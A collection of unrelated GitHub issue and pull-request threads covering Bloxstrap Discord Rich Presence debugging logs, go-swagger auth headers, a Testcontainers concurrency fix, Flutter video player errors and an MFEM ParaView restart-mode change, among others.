2023-06-15T05:03:43Z [JsonManager::Save] Attempting to save JSON to
\AppData\Local\Bloxstrap\Settings.json...
2023-06-15T05:03:43Z [JsonManager::Save] JSON saved!
2023-06-15T05:03:43Z [JsonManager::Save] Attempting to save JSON to
\AppData\Local\Bloxstrap\State.json...
2023-06-15T05:03:43Z [JsonManager::Save] JSON saved!
2023-06-15T05:03:43Z [Bootstrapper::SetStatus] Starting Roblox...
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Started Roblox (PID 15752)
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Using Discord Rich
Presence
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Using server details
notifier
2023-06-15T05:03:43Z [DiscordRichPresence::DiscordRichPresence]
Established connection with Discord RPC
2023-06-15T05:03:44Z [DiscordRichPresence::DiscordRichPresence] Received
ready from user ftgw<PHONE_NUMBER>29666048)
2023-06-15T05:03:46Z [RobloxActivity::StartWatcher] Opening Roblox log
file...
2023-06-15T05:03:46Z [RobloxActivity::StartWatcher] Opened
0.578.0.5780566_20230615T050345Z_Player_27DC5_last.log
2023-06-15T05:03:46Z [Bootstrapper::StartRoblox] Waiting for Roblox to
close
2023-06-15T05:03:48Z [RobloxActivity::ExamineLogEntry] Read 50 log entries
2023-06-15T05:03:51Z [RobloxActivity::ExamineLogEntry] Read 100 log entries
2023-06-15T05:03:53Z [RobloxActivity::ExamineLogEntry] Joining Game
(6447833317/63f394cb-f490-41df-aae8-b3e8928b17e6/<IP_ADDRESS>)
2023-06-15T05:03:53Z [RobloxActivity::ExamineLogEntry] Server is UDMUX
protected<PHONE_NUMBER>/63f394cb-f490-41df-aae8-b3e8928b17e6/<IP_ADDRESS>)
2023-06-15T05:03:54Z [RobloxActivity::ExamineLogEntry] Joined Game
(6447833317/63f394cb-f490-41df-aae8-b3e8928b17e6/<IP_ADDRESS>)
2023-06-15T05:03:54Z [RobloxActivity::ExamineLogEntry] Read 150 log entries
2023-06-15T05:03:54Z [ServerNotifier::Notify] Getting server information
for <IP_ADDRESS>
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Setting presence
for Place ID<PHONE_NUMBER>
2023-06-15T05:03:54Z [Utilities::GetJson] Getting JSON from
https://apis.roblox.com/universes/v1/places/6447833317/universe!
2023-06-15T05:03:54Z [Utilities::GetJson] Got JSON:
{"universeId":2404100293}
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Got Universe ID as
2404100293
2023-06-15T05:03:54Z [Utilities::GetJson] Getting JSON
from https://games.roblox.com/v1/games?universeIds=2404100293!
2023-06-15T05:03:54Z [ServerNotifier::Notify] Location: Dallas, Texas,
US\nClick to copy Job ID 2023-06-15T05:03:54Z
[Utilities::GetJson] Got JSON:
{"data":[{"id":2404100293,"rootPlaceId":6447833317,"name":"Voice
Cafe","description":"😋 Welcome to Voice Cafe! \n𝙈𝘼𝙅𝙊𝙍
𝙐𝙋𝘿𝘼𝙏𝙀𝙎 𝙎𝙊𝙊𝙉\n\n💬 Chill with friends inside the Cafe or
anywhere! \n😆 Meet new people!\n😴 Earn levels and points just by
playing the game!\n💁♂ Be the cafe employee! Anyone can work!\n\n👌 -
NOTICE \nThis experience is only available to users who have the Voice Chat
feature enabled on your account. \nAnyone who joins and doesn't have the
feature enabled will be teleported to the Non Voice-Chat
server.","sourceName":null,"sourceDescription":null,"creator":{"id":52658123,"name":"twowordsbraden","type":"User","isRNVAccount":false,"hasVerifiedBadge":false},"price":null,"allowedGearGenres":["RPG"],"allowedGearCategories":[],"isGenreEnforced":true,"copyingAllowed":false,"playing":0,"visits":279335,"maxPlayers":15,"created":"2021-02-26T17:19:55.317Z","updated":"2023-06-15T02:59:53.8688914Z","studioAccessToApisAllowed":false,"createVipServersAllowed":false,"universeAvatarType":"PlayerChoice","genre":"RPG","isAllGenre":false,"isFavoritedByUser":false,"favoritedCount":455}]}
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Got Universe
details
2023-06-15T05:03:54Z [Utilities::GetJson] Getting JSON
from
https://thumbnails.roblox.com/v1/games/icons?universeIds=2404100293&returnPolicy=PlaceHolder&size=512x512&format=Png&isCircular=false!
2023-06-15T05:03:54Z [Utilities::GetJson] Got JSON:
{"data":[{"targetId":2404100293,"state":"Completed","imageUrl":"
https://tr.rbxcdn.com/9a46d454273eec24134e793ba20bee68/512/512/Image/Png
"}]}
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Got Universe
thumbnail as
https://tr.rbxcdn.com/9a46d454273eec24134e793ba20bee68/512/512/Image/Png
2023-06-15T05:03:56Z [DiscordRichPresence::DiscordRichPresence] Updated
presence
—
Reply to this email directly, view it on GitHub
https://github.com/pizzaboxer/bloxstrap/issues/309#issuecomment-1592363286,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACFUPWDIEGHV3Z7XBOX32TTXLKJYHANCNFSM6AAAAAAZFBBIZU
.
You are receiving this because you authored the thread.Message ID:
@.***>

Just received the logs, I'll focus on Bloxstrap_20230615T050156Z.log and Bloxstrap_20230613T151625Z.log since those two you claim no Rich Presence showed.
Looking at the logs and it appears Bloxstrap is correctly identifying the game, and it does try to set the presence, but that it can't actually contact the Discord client. Before joining a game, it should print these two entries to indicate that it can connect to Discord:
[DiscordRichPresence::DiscordRichPresence] Established connection with Discord RPC [DiscordRichPresence::DiscordRichPresence] Received ready from user
This appears to be a Discord problem, or something else at least, because if it really is running then it shouldn't have a problem with connecting to it. Also, I really don't think reinstalling has any correlation with whether it works or not.

Yep not sure how to resolve. I just booted up my computer to check again and it just shows:

I launched Doors straight from a chrome browser and saw the Bootstrap launcher open and it just shows 'Playing a Game'.

it's Discord's feature.

Just to quickly check if this is a Discord problem or a problem with whatever I'm using, the next time this happens, open a Windows PowerShell prompt and run this:
(Get-ChildItem \\.\pipe\).FullName -match "discord"

Let me know if it shows anything.

I've got something:
\\.\pipe\DiscordHook_Log_0
\\.\pipe\DiscordHook_Log_6964

Is that it? This entry should also be there:
\\.\pipe\discord-ipc-0

Without that, no Rich Presence will work. Definitely seems more like a Discord issue than anything else.

Could it be due to me using Vencord?

Could it be due to me using Vencord?

I use Vencord and it works fine for me. Do you have any discord rpc related plugins?

Could it be due to me using Vencord?

I use Vencord too, that really shouldn't be causing any problems.


Utilize full device height

The app currently doesn't make us of top to bottom screen space.

Done!


Portfolio Website

I want to create a portfolio website

Sorry, to say but I am not able to complete it.


how to set the LOCAL HOST PATH And Client server.php python path on linux

Hi rohit,
Could you give more details on how to set the LOCAL HOST PATH And Client server.php python path on linux?

I had this same issue.
xhr.open("POST","http://localhost/clientServer.php",false);
url must be a file on server. For that, in linux, Drop the file in /var/www/.
It worked for me.

Hello Jyothsna,
I am new to all of this. Can you explain a little bit more or provide resources ?

Hi Chaitrali,
This article about local servers will help you understand all about local servers.
Further, this article will help you set up local server for your OS.
Closing this issue for now. Please reopen if you feel you still need help.


FIx Android CI

This PR fixes Android CI
Test Plan:
Android CI is green again

@dulmandakh duplicate of https://github.com/facebook/react-native/pull/20854


Compare current fusion with closure trees to array structure based one

Based on Slack discussion with @briancavalier we would want to research the potentially differences (specifically performance) with current
fusion implementation using closure tree structures compared to fusion using array structures.
Currently we have composition for something like Map fusion or map.map which simply looks like compose(f, source.f)
The array fusion would simply hold the functions inside an array [f, source.f, ...] and then apply the array to the source values.

Could you provide a link to current code implementation, @davidchase ?

A recent discussion in gitter reminded of this post, which explored this idea in Scala: https://mpilquist.github.io/blog/2017/03/11/stackless-function-composition/

why should we degrade most to stackless ? then we could simply export [] === Stream and we can apply map filter and such stuff on that :dagger:

Hi @frank-dspeed.  I'm not quite sure what you mean by "degrade most to stackless".  Could you explain more and help us understand what you mean?


Removed Horizontal1dHeatmap track

Description
What was changed in this pull request?
The horizontal-1d-heatmap track was removed.
Why is it necessary?
The same functionality is implemented by the horizontal-vector-heatmap track.
Fixes #___
Checklist

[ ] Unit tests added or updated
[ ] Documentation added or updated
[ ] Example added or updated
[ ] Screenshot for visual changes (e.g. new tracks)
[x] Updated CHANGELOG.md

Good point, I just fixed those examples along with a bunch of SVG export issues. Namespaces are annoying af.

The HorizontalMultivecTrack track visualizes data incorrectly.
Before:

After:

Not sure why but the plot is way too dark.


Training of Multilingual Keyphrase Extraction model

This PR includes a DistilBert2Joint network for training a multilingual keyphrase extraction model using distilbert-base-multilingual-cased as a base model. The multilingual dataset can be used from https://github.com/LIAAD/KeywordExtractor-Datasets. The preprocessing scripts are also added.

Amit adds multilingual adaptation and fp16 training mode. They are very useful for more users.
Thanks, Amit!


Unable to install C/C++ IntelliSense

Does this issue occur when all extensions are disabled?: Yes

Version: 1.75.0-insider
Commit: 11238faea62d570d77afe6edfe05c8b732c44a2b
Date: 2022-12-13T05:22:26.937Z
Electron: 19.1.8
Chromium: 102.0.5005.167
Node.js: 16.14.2
V8: <IP_ADDRESS>-electron.0
OS: Linux x64 5.15.0-56-generic snap. Ubuntu 22.04.1 LTS
Sandboxed: Yes
Steps to Reproduce:

Trying to install C/C++ 1.13.7

Log

2022-12-13 18:50:12.745 [info] Electron sandbox mode is enabled!
2022-12-13 18:50:16.110 [info] [perf] Render performance baseline is 69ms
2022-12-13 18:50:29.973 [error] Signature: UnknownError
    at yt.download (vscode-file://vscode-app/snap/code-insiders/1176/usr/share/code-insiders/resources/app/out/vs/code/electron-browser/sharedProcess/sharedProcessMain.js:37:92965)
    at async V.h (vscode-file://vscode-app/snap/code-insiders/1176/usr/share/code-insiders/resources/app/out/vs/code/electron-browser/sharedProcess/sharedProcessMain.js:89:169726)
2022-12-13 18:50:30.012 [error] UnknownError: Signature: UnknownError
    at yt.download (vscode-file://vscode-app/snap/code-insiders/1176/usr/share/code-insiders/resources/app/out/vs/code/electron-browser/sharedProcess/sharedProcessMain.js:37:92965)
    at async V.h (vscode-file://vscode-app/snap/code-insiders/1176/usr/share/code-insiders/resources/app/out/vs/code/electron-browser/sharedProcess/sharedProcessMain.js:89:169726)

/duplicate
https://github.com/microsoft/vscode/issues/164726
workaround: https://github.com/microsoft/vscode/issues/164726#issuecomment-1350546948

Thanks for creating this issue! We figured it's covering the same as another one we already have. Thus, we closed this one as a duplicate. You can search for similar existing issues. See also our issue reporting guidelines.
Happy Coding!


Add tools

Add Designite, DesigniteJava, DbDeo, and Puppeteer tools

Thanks!  We still have some CI failures, which need addressing.


Channels generator for TS should have better docs

Its impossible to know how to use the generated code.

:tada: This issue has been resolved in version 0.18.7 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Fix build issues with 4.12

Simply added "GameplayTasks" to the public dependencies of DialogueSystem.Build.cs which solves build errors when building with 4.12.

thank you @Erasio :)


[RFC] Where to store identityURL?

We are creating an Identity Service (backend service using golang) through which we are going to make requests on each user's identityURL endpoints, created by users, to get the Identity (Profile Data eg. Name, LinkedinUrl, GitHub username, etc) of the user. We have a user object for each user, in users collection in firestore which stores the identity/Profile data of the user.
So the question is where should we store the identityURL?

In the user object
In the different collection, storing username with identityURL

In my opinion, identityURL belongs to the user so it should be stored in user object in users collection.
Will it cause any problems in the future?
What do you guys think?

I think we should store identityUrl in the user collection. We don't need a whole new collection for one field and that too is directly related to the user and is part of the user's information so I think we should store it in the user collection.

The user object is the better place to store the identity URL.
Collections are used if we have any set of information which belongs to some kind.
So here, identity URL is not any different set of information, it is only a single piece of information that belongs to the user only.

Considering the comments
Lets store them in user's object


v1.9 backports 2021-09-14

#14254 -- operator: add identity GC metrics (@ArthurChiao)

Once this PR is merged, you can update the PR labels via:
$ for pr in 14254; do contrib/backporting/set-labels.py $pr done 1.9; done

test-backport-1.9

test-1.12-netnext

LGTM, thanks! @christarazi


Fix version import

Use standard try-except

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 99.84%. Comparing base (97c1577) to head (9dc1d79).

Additional details and impacted files
@@           Coverage Diff            @@
##           develop      #68   +/-   ##
========================================
  Coverage    99.84%   99.84%
========================================
  Files           23       23
  Lines         1301     1301
========================================
  Hits          1299     1299
  Misses           2        2

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Use locale-aware number formatting

This not only ensures the correct separator for the locale, but also removes a dependency

This might pose a problem for small languages such as Icelandic, where people generally have their browsers in an English locale, but developers still want to present numbers in the user's locale. This is a good idea though, so perhaps we should expose a configuration value where the developer can specify the locale to use in Intl.NumberFormat

I think we can both be happy with the way it is now @RealOrangeOne  :)

This has been released in version 0.6 on pypi


Display Elekto version in UI

The UI should display the current version of Elekto somewhere it's visible, in order to catch things like it not being upgraded.
Ideally, this should somehow auto-update.

do this fit the UI standard? & should the release be the elekto version?

That's fine, we don't currently have layout standards (we probably should, but we don't).  Reviewing code now.


Add android permission REQUEST_IGNORE_BATTERY_OPTIMIZATIONS

Feature request
It would be great, if you could add the check and request permission for 'android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS'.
Why it is needed
Our app needs the permission to run an infinite background service on android. We implemented a working react native module for testing the code mentioned below. But it would be cool, if it would be part of your library.
Possible implementation
https://stackoverflow.com/questions/55794316/action-ignore-battery-optimization-settings-need-intent-to-all-apps-list

Duplicate of https://github.com/zoontek/react-native-permissions/issues/395
@felix4321 Nobody did a PR, could you?

@zoontek Thx for info - I will try the PR!

@felix4321 careful with this one! has some edge cases apparently where Activity may not exist, and it may cause Play Store rejection https://stackoverflow.com/a/50840603/9910298
It's not a dangerous permission to start, so I think this is more about just opening the settings after giving the user rationale?
In that case, I think it exists: https://github.com/rasheedk/react-native-disable-battery-optimizations-android
And requesting permission here does not actually make sense, because it is not some restricted permission that the user has to grant, rather it is a settings toggle you need to explain etc


Automated Package Upgrade

:tada: This PR is included in version 25.3.489 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Activating Anaconda Environment

<!--
For the past few weeks I successfully installed Anaconda as well as its essential components such as navigator to my computer. However, when practicing with anaconda especially with the "Hello World" sequence, I received an error saying I need to activate anaconda environment. The problem is that I tried to activate the anaconda environment, but which do I need to apply and activate so I practice with the code such as "Hello World" and other things.

What I am saying in two questions:
1. What environments or additional apps should I include in my Anaconda including navigator?
2. To activate my Anaconda environment, where should I put this command: "conda activate myenv" and " myenv" in terms of replacement?

-------------------
T
1.
2.

Closing this as there's not enough info for us to work on this problem.
If you are still seeing a problem please can you provide more detail? From the description this may not be an IntelliCode problem and is more likely to be Python related?
Thanks
Mark

Closing this as there's not enough info for us to work on this problem.
If you are still seeing a problem please can you provide more detail? From the description this may not be an IntelliCode problem and is more likely to be Python related?
Thanks
Mark


Add Dockerfile for build a self-containing container image

Description of change
Add a Dockerfile so user can build self-containing container image. User can use this image on any Linux instance without need of Python or Java runtime.
Issue
#26
PR reviewer notes
This Dockerfile contains multiple runtimes (Python, Java and Maven). I left all install command in Dockerfile so it may be poorly formatted.
I have built a image and stored in public.ecr.aws/bingjiao/porting-advisor-for-graviton:main (x86-64 only)
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Thank you for your contribution @yubingjiaocn . We will take a look and get back to you.

Thank you for adding instruction and testing for this PR. I also added support for customize generated binary file name. Now the dockerfile can better handling for multiple arch and OS.
I think this PR is good to go.

Is there any chance to re-run the build test? I see the error message and believes it's because Github shared runner hits ECR's limit of Rate of unauthenticated image pulls , which is only 1 pulls per second.
Step 8/10 : FROM public.ecr.aws/amazoncorretto/amazoncorretto:17-al2023 as runtime
17-al2023: Pulling from amazoncorretto/amazoncorretto
toomanyrequests: Rate exceeded


about hg38

Thanks for sharing this tool. You mentioned we need to do install_github('aroneklund/copynumber') in order to run GRCh38. My guess is that this is to allow sequenza.extract function to take hg38 assembly because originally it only takes hg19, hg18, hg17.
Having checked your source code scar_score.R and preporcess.seqz.R, it seems that function sequenza.extract in preporcess.seqz.R does not take any parameter on assembly, so sequenza.extract would use hg19 (default)  anyway no matter what reference (grch38 or grch37) you specify in scar_score.
If so,  install_github('aroneklund/copynumber') is not needed to run on GRCh38. Am I understanding this correctly? Looking forward to your clarification.
Best,
Corey

I have the same question Corey shared here, I was essentially wondering if the updated copy number package is only needed to run against GrCH38 or could we also use it to run against GrCh37 because I am getting drastically different results when I run scar_score using the modified copy number package vs. the original. There is even a difference in the stdout that mentions copy number segments whereas running it without the modified copy number package only outputs the variants, homo/het positions.


Minecraft 1.21.4 support

Hi, would you be able to add support for Minecraft 1.21.4? Thank you!

yep


Inject (dynamic) header to each request

I have a generated client, but I need to add an authorization header to each request the client makes. Before I started to use autogenerated clients, I would do something like this:
api.BeforeDoRequest(func(request \*http.Request) { request.Header.Add("Authorization", fmt.Sprintf("Bearer %s", "my-special-token")) })

and in the client code, I would have something like this:
if c.beforeDoRequestFunc != nil {
    c.beforeDoRequestFunc(req)
}

This would add a header to all requests my client does. Now I'm wondering: does go-swagger support something like this?

Yes, you just need to override the default transport with your own RoundTripper

Wow, nice man! I now did this:
package main

import (
	"fmt"
	"net/http"
)

func newTransport() *customTransport {
	return &customTransport{
		originalTransport: http.DefaultTransport,
	}
}

type customTransport struct {
	originalTransport http.RoundTripper
}

func (c *customTransport) RoundTrip(r *http.Request) (*http.Response, error) {

	r.Header.Add("Authorization", fmt.Sprintf("Bearer %s", token))

	resp, err := c.originalTransport.RoundTrip(r)
	if err != nil {
		return nil, err
	}

	return resp, nil
}

And used this custom roundTripper like this:
		HTTPClient: &http.Client{
			Timeout:   time.Second * 10,
			Transport: newTransport(),
		},

Works fine man! Any suggestions for improvements?

If you're doing this for bearer auth, you can also generate the code with a security principal (the type of your user)
The code will then allow you to use an auth writer one of which is bearer token.
You can see the default ones here: https://github.com/go-openapi/runtime/blob/master/client/auth_info.go

This auth writer then gets passed to the authInfo runtime.ClientAuthInfoWriter parameter in your client call, after the struct that contains all the request parameters.


Use volatile referneces to prevent double creation of Ryuk containers

I believe this fixes #2395
According to my logs for single-container usage, the docker client is being obtained twice:
[06/21/2020 19:07:33:948 UTC] 001 DockerClientFactory            client                         I Docker host IP address is <remote machine>
[06/21/2020 19:07:33:989 UTC] 001 DockerClientFactory            client                         I Connected to docker:
  Server Version: 19.03.8
  API Version: 1.40
  Operating System: Ubuntu 18.04.1 LTS
  Total Memory: 16039 MB
[06/21/2020 19:07:34:022 UTC] 001 RegistryAuthLocator            lookupUncachedAuthConfig       W Failure when attempting to lookup auth config (dockerImageName: quay.io/testcontainers/ryuk:0.2.3, configFile: /home/jazz_build/.docker/config.json. Falling back to docker-java default behaviour. Exception message: /home/jazz_build/.docker/config.json (No such file or directory)
[06/21/2020 19:07:34:164 UTC] 001 DockerClientFactory            client                         I Docker host IP address is <remote machine>
[06/21/2020 19:07:34:186 UTC] 001 DockerClientFactory            client                         I Connected to docker:
  Server Version: 19.03.8
  API Version: 1.40
  Operating System: Ubuntu 18.04.1 LTS
  Total Memory: 16039 MB

Ah, this would make sense. I wonder if @bsideup's #2882, which is also touching DockerClientFactory, will solve this. I think Lombok's lazy Getter should take care of race conditions on the dockerClient field by wrapping it in an atomic reference, so perhaps this problem goes away?

Since we synchronize our access to the fields, volatile should be unnecessary:
https://shipilev.net/blog/2016/close-encounters-of-jmm-kind/#myth-sync-vs-volatiles
@aguibert do you think you can provide a reproducer (e.g. by starting multiple threads and triggering the resolve)?

I can't easily create a reproducer for this -- it happens pretty intermittently.
Thanks for pointing out the article, I did a bit more research on volatile vs. synchronized and realized that synchrnozed also synchronizes the thread memory and main memory for all variables, in addition to locking. Given that, I'll go ahead and close this PR as it will not fix the problem I was trying to solve

@aguibert I will try to run it with JCStress then. Thanks for confirming that it is happening on your environment! At least we will be able to verify whether the fix worked or not :)

yw, and thanks for being so helpful as always @bsideup! Just to confirm I've got this right, do you think that #2930 will fix the issue? If so I will watch for that release and upgrade my env to use it

@aguibert I am afraid it won't fix the double Ryuk issue, but I am currently trying to reproduce it, so that we can finally fix the problem (although without any luck so far :( )


issue with video controller re-initialization

Not able to re-initialize(restart) video controller after controller.value.hasError is true
Init 37a39ef [ExoPlayerLib/2.18.1] [m30s, SM-M307F, samsung, 30]
I/System.out(21994): (HTTPLog)-Static: isSBSettingEnabled false
I/System.out(21994): (HTTPLog)-Static: isSBSettingEnabled false
I/flutter (21994): 0.0 of my widget is visible
I/flutter (21994): video Ended
E/flutter (21994): [ERROR:flutter/lib/ui/ui_dart_state.cc(198)] Unhandled Exception: Bad state: Future already completed
E/flutter (21994): #0      _AsyncCompleter.complete (dart:async/future_impl.dart:35:31)
E/flutter (21994): #1      VideoPlayerController.initialize (package:video_player/video_player.dart:365:25)
E/flutter (21994): <asynchronous suspension>
E/flutter (21994): #2      ChewieController._initialize (package:chewie/src/chewie_player.dart:546:7)
E/flutter (21994): <asynchronous suspension>
E/flutter (21994):

here my verbase log:
[√] Flutter (Channel stable, 3.0.5, on Microsoft Windows [Version 10.0.22000.556], locale en-US)
    • Flutter version 3.0.5 at C:\src\flutter_windows_stable\flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision f1875d570e (9 weeks ago), 2022-07-13 11:24:16 -0700
    • Engine revision e85ea0e79c
    • Dart version 2.17.6
    • DevTools version 2.12.2

[√] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at C:\Users\niles\AppData\Local\Android\Sdk
    • Platform android-33, build-tools 33.0.0
    • ANDROID_HOME = C:\Users\niles\AppData\Local\Android\Sdk
    • Java binary at: C:\Program Files\Android\Android Studio\jre\bin\java
    • Java version OpenJDK Runtime Environment (build 11.0.12+7-b1504.28-7817840)
    • All Android licenses accepted.

[√] Chrome - develop for the web
    • Chrome at C:\Program Files\Google\Chrome\Application\chrome.exe

[√] Visual Studio - develop for Windows (Visual Studio Build Tools 2019 16.11.16)
    • Visual Studio at C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools
    • Visual Studio Build Tools 2019 version 16.11.32602.291
    • Windows 10 SDK version 10.0.19041.0

[√] Android Studio (version 2021.2)
    • Android Studio at C:\Program Files\Android\Android Studio
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.12+7-b1504.28-7817840)

[√] VS Code (version 1.71.0)
    • VS Code at C:\Users\niles\AppData\Local\Programs\Microsoft VS Code
    • Flutter extension can be installed from:
       https://marketplace.visualstudio.com/items?itemName=Dart-Code.flutter

[√] Connected device (4 available)
    • SM M307F (mobile) • RZ8MC06QV4P • android-arm64  • Android 11 (API 30)
    • Windows (desktop) • windows     • windows-x64    • Microsoft Windows [Version 10.0.22000.556]
    • Chrome (web)      • chrome      • web-javascript • Google Chrome 104.0.5112.102
    • Edge (web)        • edge        • web-javascript • Microsoft Edge 105.0.1343.33

[√] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

Hi @alpeshshiyal
Which video_player plugin version are you using?
Also, please provide a completed and minimal reproducible code sample so that we may verify this.
Thank you!
May be related/similar: #25738

@alpeshshiyal how did you resolve this?


Update ParaViewDataCollection::Save() method to preserve metadata for previous timesteps

Background
The current ParaViewDataCollection::Save method looks to nicely save time-series data as a collection so that multiple time steps can be interrogated after loading in Paraview.  Metadata for the timestep values is included in an XML file  with a suffix of .pvd. There are no issues encountered for a single run of a transient analysis. However, if a user considers using this funcionality in conjunction with a restart method for their application, one has to be careful to save the .pvd file in advance as it is overwritten every run and the exact timestep values associate with a given iteration will be lost; however, the raw solution files (.vtu) will still exist from previous time steps.
This PR proposes an update to enable preserving previous timesteps (if the .pvd file exists) so that end users can more easily maintain a single output directory with Paraview output in longer-running simulations that require restart capability.
Example of current behavior
Consider a time-stepping CFD example that is run for 20 timesteps that calls  the ParaViewDataCollection::Save() method every 5th timestep.  In that case, we have four solutions saved with the timestep values and a .pvd file as follows:
$ ls output
Cycle000005  Cycle000010  Cycle000015  Cycle000020   output.pvd

$ cat output/output.pvd
<?xml version="1.0"?>
<VTKFile type="Collection" version="0.1" byte_order="LittleEndian">
<Collection>
<DataSet timestep="1.22855e-05" group="" part="0" file="Cycle000005/data.pvtu"/>
<DataSet timestep="2.40118e-05" group="" part="0" file="Cycle000010/data.pvtu"/>
<DataSet timestep="3.5577e-05" group="" part="0" file="Cycle000015/data.pvtu"/>
<DataSet timestep="4.70662e-05" group="" part="0" file="Cycle000020/data.pvtu"/>
</Collection>
</VTKFile>

If we restart this case and run another 10 iterations, we will add two additional solutions to the output directory, but because the .pvd file is currently overwritten every time, we lose the time values associated with the previous outputs.
$ ls output/
Cycle000005  Cycle000010  Cycle000015  Cycle000020  Cycle000025  Cycle000030  output.pvd

$ cat output/output.pvd
<?xml version="1.0"?>
<VTKFile type="Collection" version="0.1" byte_order="LittleEndian">
<Collection>
<DataSet timestep="5.85358e-05" group="" part="0" file="Cycle000025/data.pvtu"/>
<DataSet timestep="6.99925e-05" group="" part="0" file="Cycle000030/data.pvtu"/>
</Collection>
</VTKFile>

Example of proposed behavior
With this PR, the Save method is updated slightly to check if the .pvd file exists, and if so, it is scanned for any previous timesteps and the stream pos is updated accordingly so subsequent timesteps are appended.  The resulting file after completing the same restart process highlighted above is then:
 $ ls output/
Cycle000005  Cycle000010  Cycle000015  Cycle000020  Cycle000025  Cycle000030  output.pvd

$ cat output/output.pvd
<?xml version="1.0"?>
<VTKFile type="Collection" version="0.1" byte_order="LittleEndian">
<Collection>
<DataSet timestep="1.22855e-05" group="" part="0" file="Cycle000005/data.pvtu"/>
<DataSet timestep="2.40118e-05" group="" part="0" file="Cycle000010/data.pvtu"/>
<DataSet timestep="3.5577e-05" group="" part="0" file="Cycle000015/data.pvtu"/>
<DataSet timestep="4.70662e-05" group="" part="0" file="Cycle000020/data.pvtu"/>
<DataSet timestep="5.85358e-05" group="" part="0" file="Cycle000025/data.pvtu"/>
<DataSet timestep="6.99925e-05" group="" part="0" file="Cycle000030/data.pvtu"/>
</Collection>
</VTKFile>

Note: regardless of the current implementation or proposed update in this PR, the end application will need to take care of what to do when a simulation is starting from scratch in the same directory where they may have saved previous solution data.  In the case of this PR, a user can additional logic to remove an existing .pvd file if they do not want to preserve any previous data, but would gain the benefit of being able to do restarts and have their Paraview output all in one directory.

PR
Author
Editor
Reviewers
Assignment
Approval
Merge

#2339
@koomie
@tzanio
@pazner + @jandrej
06/18/21
⌛due 07/02/21
⌛due 07/09/21

Hi @koomie, this looks like a nice contribution, thank you. If it is ready, and you would like it to be reviewed for inclusion in MFEM, you can tag the PR as "ready-for-review".

Hi @koomie, this looks like a nice contribution, thank you. If it is ready, and you would like it to be reviewed for inclusion in MFEM, you can tag the PR as "ready-for-review".

I don't believe I have the ability to add issue labels, but if you think it would be useful, the PR is ready-for-review from my perspective.

@koomie, you are now part of our Contributors team and should be able to add labels in the future

This PR is now under review (see the table in the PR description). To help with the review process, please do not force push to the branch.

@koomie, you are now part of our Contributors team and should be able to add labels in the future

Sweet. Thank you - I promise to use any future labeling powers for good....

This PR will always append to the end of the existing PVD file, independent of the timestep value. I think we might want to be a little bit more sophisticated here.
A common use-case for us (e.g. in example 5) is to output a single timestep for a steady problem. If you run the example multiple times, this will duplicate the DataSet entry:
<DataSet timestep="0" group="" part="0" file="Cycle000000/data.pvtu"/>
<DataSet timestep="0" group="" part="0" file="Cycle000000/data.pvtu"/>
<DataSet timestep="0" group="" part="0" file="Cycle000000/data.pvtu"/>

This is pretty harmless (ParaView will still properly read the file), but I think we want to avoid this.
Similarly, if we restart a time-dependent run without checkpointing, the new entries will simply be appended:
<DataSet timestep="0" group="" part="0" file="Cycle000000/data.pvtu"/>
<DataSet timestep="0.05" group="" part="0" file="Cycle000005/data.pvtu"/>
<DataSet timestep="0.1" group="" part="0" file="Cycle000010/data.pvtu"/>
<DataSet timestep="0" group="" part="0" file="Cycle000000/data.pvtu"/>
<DataSet timestep="0.05" group="" part="0" file="Cycle000005/data.pvtu"/>

In this case, the user would want the old results to be completely overwritten rather than appended to. In situations where simulation parameters change (e.g. different time step), this could get very confusing.
I think there are two points:

We probably want a flag to enable or disable checkpointing. Sometimes a user would want to append to an existing file, and sometimes they would want to replace it. This could be added to the interface of ParaViewDataCollection.
Rather than always appending to the end of the file, it would make sense to find the largest time t0 that is strictly less than the current time t, and append after t0, deleting everything else. The restart point used for checkpointing may be older than the latest visualization step.

I think there are two points:

We probably want a flag to enable or disable checkpointing. Sometimes a user would want to append to an existing file, and sometimes they would want to replace it. This could be added to the interface of ParaViewDataCollection.
Rather than always appending to the end of the file, it would make sense to find the largest time t0 that is strictly less than the current time t, and append after t0, deleting everything else. The restart point used for checkpointing may be older than the latest visualization step.

I like both of these suggestions and am happy to take a crack at an updated PR to try and address these points.  Would you like a fresh PR when ready, or is it ok to force push this branch in this case?

PR has been updated to add a SetRestartMode method for the ParaviewDataCollection that a user can enable to trigger saving older timesteps in an existing PVD file. Should hopefully address the two points above.

PR has been updated to add a SetRestartMode method for the ParaviewDataCollection that a user can enable to trigger saving older timesteps in an existing PVD file. Should hopefully address the two points above.

Small addendum. I realized I did not delete timesteps that might exist that after the current t so tweaked again to do that.  This does use truncate which I believe would not be available on windows so I disabled this new SetRestartMode() method for windows builds.
I believe this is now ready for a second look.

LGTM

@koomie, thanks for the update. I pushed some changes to your branch.
In particular, I changed the implementation slightly so that it doesn't depend on truncate. Also, I added a check that the current cycle will not overwrite any of the existing cycles that will be retained. I also renamed SetRestartMode to UseRestartMode and added a small unit test to try to test this behavior.
Let me know how this looks to you.
@jandrej, could you take a look at these latest changes?

@pazner, the updates look good to me (and nice to add a unit test).

